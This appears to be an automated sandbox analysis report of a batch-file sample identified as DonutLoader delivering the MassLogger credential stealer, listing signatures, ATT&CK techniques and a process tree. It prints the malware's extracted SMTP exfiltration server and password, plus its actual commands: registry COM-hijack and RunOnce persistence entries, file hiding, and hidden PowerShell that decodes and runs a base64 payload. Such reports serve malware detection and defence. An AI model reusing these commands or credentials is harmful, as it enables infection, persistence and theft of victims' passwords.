Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
27/04/2026, 02:49
General
- Target Request for Quotation-BD00900M.bat
- Size 122KB
- Sample260427-dbbfhsdy9q
- SHA256 248812accf82ca745dd93e7f825be990dec0dfdce44ec3e1d8475f523962fa5c
Malware Config
Extracted
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Protocol
smtp
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Host
mail.taikei-rmc-co.biz
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Port
587
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Username
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Password
dy8tm;jRtJO[:bG:
Extracted
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masslogger
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exfiltration_mode
#SMTPEnabled
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expire_time_date
2025-12-17
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host_password
dy8tm;jRtJO[:bG:
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host_port
587
- host_receiver
- host_sender
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host_server
mail.taikei-rmc-co.biz
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ssl_slate
True
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- outlook_office_path
- outlook_win_path
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Request for Quotation-BD00900M.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Request for Quotation-BD00900M.bat"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GUILTY.bat"4⤵
- Views/modifies file attributes
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{74C19A41-6FE0-29F5-9DA0-03669D45D8CD}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{74C19A41-6FE0-29F5-9DA0-03669D45D8CD}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{74C19A41-6FE0-29F5-9DA0-03669D45D8CD}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Palestinian" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GUILTY.bat\"" /f4⤵
- Adds Run key to start application
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "[Runtime.InteropServices.Marshal]::freeHGlobal([IntPtr]::Zero); [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Get-Content 'C:\Users\Admin\AppData\Local\Temp\billion.tmp' -Raw).Replace('`r','').Replace('`n',''))) | Out-File -FilePath 'C:\Users\Admin\AppData\Local\Temp\Congress.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -File "C:\Users\Admin\AppData\Local\Temp\Congress.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tfvit0lu\tfvit0lu.cmdline"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2F77.tmp" "c:\Users\Admin\AppData\Local\Temp\tfvit0lu\CSCF89A8F8E6BA348A3AF20581ABC2FD0AC.TMP"6⤵
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
Congress.ps1
RES2F77.tmp
__PSScriptPolicyTest_3thmkyme.wbj.ps1
billion.tmp
billion.tmp
tfvit0lu.dll
GUILTY.bat
CSCF89A8F8E6BA348A3AF20581ABC2FD0AC.TMP
tfvit0lu.0.cs
tfvit0lu.cmdline
memory/2920-82-0x0000018CEB510000-0x0000018CEB518000-memory.dmp
memory/2920-89-0x0000018CEADA0000-0x0000018CEADAC000-memory.dmp
memory/2920-85-0x0000018CEB2B0000-0x0000018CEB2C2000-memory.dmp
memory/2920-84-0x0000018CEADA0000-0x0000018CEADAC000-memory.dmp
memory/3124-92-0x0000000006E60000-0x0000000007022000-memory.dmp
memory/3124-91-0x0000000004340000-0x0000000004390000-memory.dmp
memory/3124-87-0x0000000004040000-0x000000000405E000-memory.dmp
memory/3124-83-0x0000000000900000-0x0000000000910000-memory.dmp
memory/3740-51-0x0000023E6D920000-0x0000023E6D942000-memory.dmp
memory/3740-44-0x0000023E6DE00000-0x0000023E6DE10000-memory.dmp
memory/3740-43-0x0000023E6DE00000-0x0000023E6DE10000-memory.dmp
memory/3740-58-0x0000023E6D7A0000-0x0000023E6D7B2000-memory.dmp
memory/3740-52-0x0000023E6DE00000-0x0000023E6DE10000-memory.dmp
memory/3740-57-0x0000023E6D680000-0x0000023E6D68C000-memory.dmp
memory/3772-77-0x000001FCC0F50000-0x000001FCC0F5C000-memory.dmp
memory/4660-80-0x0000020848820000-0x000002084882C000-memory.dmp